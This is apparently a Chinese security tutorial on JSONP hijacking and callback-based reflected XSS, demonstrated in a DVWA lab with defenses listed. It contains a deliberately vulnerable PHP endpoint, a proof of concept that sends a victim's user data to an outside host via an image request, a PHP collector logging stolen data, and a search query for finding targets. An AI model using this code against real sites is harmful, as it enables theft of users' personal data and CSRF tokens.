JSONP的介绍

JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,而 HTML 的<script> 元素是一个例外。利用 <script> 元素的这个开放策略,网页可以得到从其他来源动态产生的 JSON 资料,而这种使用模式就是所谓的 JSONP。用 JSONP 抓到的资料并不是 JSON,而是任意的JavaScript,用 JavaScript 直译器执行而不是用 JSON 解析器解析。

有关JSONP的产生与实现推荐参考下面这篇文章,讲的非常清楚易懂:

https://www.jianshu.com/p/e1e2920dac95

JSONP劫持

JSON 劫持又为“ JSON Hijacking ”,最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。其实这个问题属于 CSRF( Cross-site request forgery 跨站请求伪造)攻击范畴。当某网站听过 JSONP 的方式来快域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。

JSONP劫持的攻击过程有点类似于CSRF,只不过CSRF只管发送http请求,但是json-hijack的目的是获取敏感数据。

img

靶场演示

漏洞测试

我们基于DVWA靶场简单写了一个获取当前用户信息的接口。

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );
dvwaDatabaseConnect();

$reqMethod = "GET";
$reqValue = "callback";
$query = "SELECT user_id, first_name, last_name, user, last_login FROM users WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
$row = mysqli_fetch_row( $result );
$info = array('user_id' => $row[0], 'first_name' => $row[1], 'last_name' => $row[2], 'user' => $row[3], 'last_login' => $row[4]);

if(!@$_GET['callback']){
echo json_encode($info);
}else{
$callback = $_GET['callback'];
echo "{$callback}(" . json_encode($info) . ")";
}
?>

编写PoC文件,通过回调函数去请求用户信息:

1
2
<script>function test(data){ alert(JSON.stringify(data)) }</script>
<script src="http://hackrock.com:812/vulnerabilities/jsonp/?callback=test"></script>

访问PoC文件,页面会执行脚本,请求http://hackrock.com:812/vulnerabilities/jsonp/?callback=test,拿到的请求内容

然后将请求的内容作为参数,执行test函数,test函数将请求的内容alert出来。最终的结果如下

image-20211121002148283

漏洞利用

修改一下PoC文件:

1
2
3
4
5
<script>function test(data){
info = JSON.stringify(data)
new Image().src = "http://hackmee.com/attack/get_info.php?info=" + info;
}</script>
<script src="http://hackrock.com:812/vulnerabilities/jsonp/?callback=test"></script>

创建接收用户数据的文件

1
2
3
4
5
6
<?php 
$info = $_GET['info'];
$log = fopen("info.txt", "a");
fwrite($log, $info ."\n");
fclose($log);
?>

当用户点开恶意链接的时候,就可以自动获取用户的敏感数据了。

Tips:既然是窃取敏感信息,那么敏感信息除了一些 email 手机号 用户名等还有什么呢?没错,甚至可以是 CSRF Token 信息,有时候在 CSRF token 获取不到但是又找不到 XSS 的攻击点的时候不妨考虑一下 jsonp 劫持。

JSONP中的反射型XSS

由于callback参数可以自定义,所以就有了所有注入漏洞都有的通病:“输入在输出中回显”,其中导致的一个问题就是XSS,前提是返回包Content-Type:text/html而不是Content-Type: application/json

image-20211121131217798

从响应头中可以看到Content-Type字段的值为text/html,再加上源代码中并没有对callback这个输出点进行实体化编码或过滤,这就导致了反射型XSS。

image-20211121131639225

防御方法:

  • 严格定义Content-Type: application/json
  • 对callback的值进行实体化编码或过滤

JSONP漏洞挖掘技巧

Google语法搜索jsonp接口

1
site:target.com inurl:?callback

image

在浏览器调试中寻找关键字

收集接口:找到返回数据格式是JSONP的接口(可以在数据包中检索关键词callback/json/jsonp/email/cb 等)

image-20211121133335679

加参数看返回信息:加上callback参数,观察返回值是否变化,是否返回jsonp格式的信息

img

JSONP漏洞的防御

JSONP劫持属于CSRF的攻击范畴,所以解决的方法和解决CSRF的方法一样。

  • 限制来源Referer
  • 部署一次性 Token
  • 严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 ),预防XSS
  • 过滤callback函数名与长度以及JSON数据输出,预防XSS

参考资料